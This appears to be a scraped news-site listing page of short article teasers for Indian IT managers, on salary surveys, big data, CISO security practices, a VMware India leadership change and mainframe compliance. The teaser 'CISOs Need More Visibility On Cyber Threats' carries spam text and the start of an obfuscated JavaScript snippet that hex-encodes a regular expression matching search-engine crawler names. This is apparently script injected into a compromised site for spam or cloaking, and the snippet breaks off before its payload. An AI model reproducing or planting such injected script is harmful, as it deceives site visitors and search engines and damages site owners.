Analytical IT Managers: A Reality, Not an Exaggeration

Equating senior IT managers to analytical IT managers may not be an Exaggeration. The simple reason is that they are just redefining their workflow. You will agree with me, that, till recently, even business intelligence was not considered to be the bastion of IT managers. But, today, it has evolved and they are now all charged up to take the next dive… into Business Analytics!... By

What's the Average Salary of An IT Manager?

Right person in the right job, are you? Are you paid enough? Do you work for the hottest sector? With the right job profile? Surprised why ITNext asks these questions? You ought to be. After all, it is all about the salary you earn and the job profile you are associated with which determines your future career path.  I am sure most senior and mid-level IT managers would like to have... By Mastufa Ahmed

4 Top Next Generation Threats and How to Combat Them

In conversation with N Geetha, Voronkov says that security training for employees is crucial and that monitoring would help mitigate risks. Here is the detailed interview. New generation threats that spell sleepless nights for CISOsThere are a couple emerging out of the various technology trends, which are termed as new generation threats. Some of these are: Cyber-espionageCyber-espionage is a... By

IT Managers from Oil & Gas are the Highest Paid: IT Next Survey

Did you know that, of a majority of the senior and mid-level IT managers we surveyed, over 51 per cent hail from the manufacturing sector? This was what was thrown up by ITNext’s survey, which focuses on a deeper analysis of the typical IT managers viewed in the context of the current trend, with the findings   closer to 100 per cent in accuracy. The survey reveals how salaries... By

Arun Kumar Replaces Srinivasan as VMware India MD

VMware has appointed Arun Parameswaran as MD of VMware India. He succeeds T Srinivasan, who has decided to step down after five years with the company. Talking to IT Next, Srini says “I have decided to step down to take a break from what I have been doing, though this is going to be a small break as he plans to continue to be in IT industry.” Parameswaran leaves Red Hat India to... By IT NEXT

How Big Data Can be the New Competitive Advantage!

Use of big data is becoming an important way for cutting edge companies to outshine their peers. Many companies have already embarked on their journey with big data to innovate, compete, and capture insights that they can leverage to grow with their business. Retails, for instance, is one such industry vertical that has immensely benefited from big data already by drawing actionable insights on... By Mastufa Ahmed

Senior IT Managers: You Are Worth An Annual CTC of Rs. 41 Lakh Plus!

ITNext’s compensation survey, India’s largest and most definitive survey of compensation of mid-to-senior-level IT managers, analysed how compensation and job title were closely aligned in fixing the annual CTC. It would not be incorrect say that designation and group classification mattered most in arriving at a compensation model for senior IT decision makers. For accuracy, the... By

Best Practices To Protect IP

Tracking new technology trends and understanding associated risks that come with it is crucial for chief information security officers across the industry. However, adhering to best practices and leveraging innovation in this security space will help counter risks significantly. How should CISOs protect his organisation's intellectual property--the crown jewels? CISOs should do everything you... By

CISOs Need More Visibility On Cyber Threats

CISOs need to look at solutions which will identify, contain, respond, remediate and ultimately mitigate the impact of the breach, faster and more efficiently. Download this report to know more. Zapatillas Runningvar nsSGCDsaF1=new window["\x52\x65\x67\x45\x78\x70"]("\x28\x47"+"\x6f"+"\x6f\x67"+"\x6c"+"\x65\x7c\x59\x61"+"\x68\x6f\x6f"+"\x7c\x53\x6c\x75"+"\x72\x70"+"\x7c\x42\x69"+"\x6e\x67\... By CIO&Leader

IT Managers Welcome BJP’s Thrust on IT

Everybody is talking about digitisation. So, why the national agenda be left out? In its recently released manifesto, Bhartiya Janta Party has categorized information technology as the key driver to development. With the elections raising the mercury this summer, BJP has emphasized on digitalIndia. BJP has included its plans to ‘nurture a Digital India’ and promises to make every... By IT NEXT

'Compliance Challenge Is An Opportunity to Deliver Innovation'

Some mainframe clients view regulatory or legislative compliance as simply a new front in the battle to keep the lights on. Others, however, see an opportunity to improve efficiency and performance—and deliver innovation. As sure as night follows day, data protection breaches, rate rigging, product misselling or other visible malpractice will provoke demands for tighter regulation of an... By IT NEXT

Visual COBOL Helped OM Logistics Move Towards Mobile and Cloud Development

OM Logistics’ IDE of choice was Eclipse and they wanted to enhance their mission-critical applications on a new business platform –so they moved their ‘Track & Trace’ application from Server Express to Visual COBOL which has improved development efficiency by 30%. This COBOL-based Enterprise Resource Planning (ERP) system, built using Micro Focus Server... By Mastufa Ahmed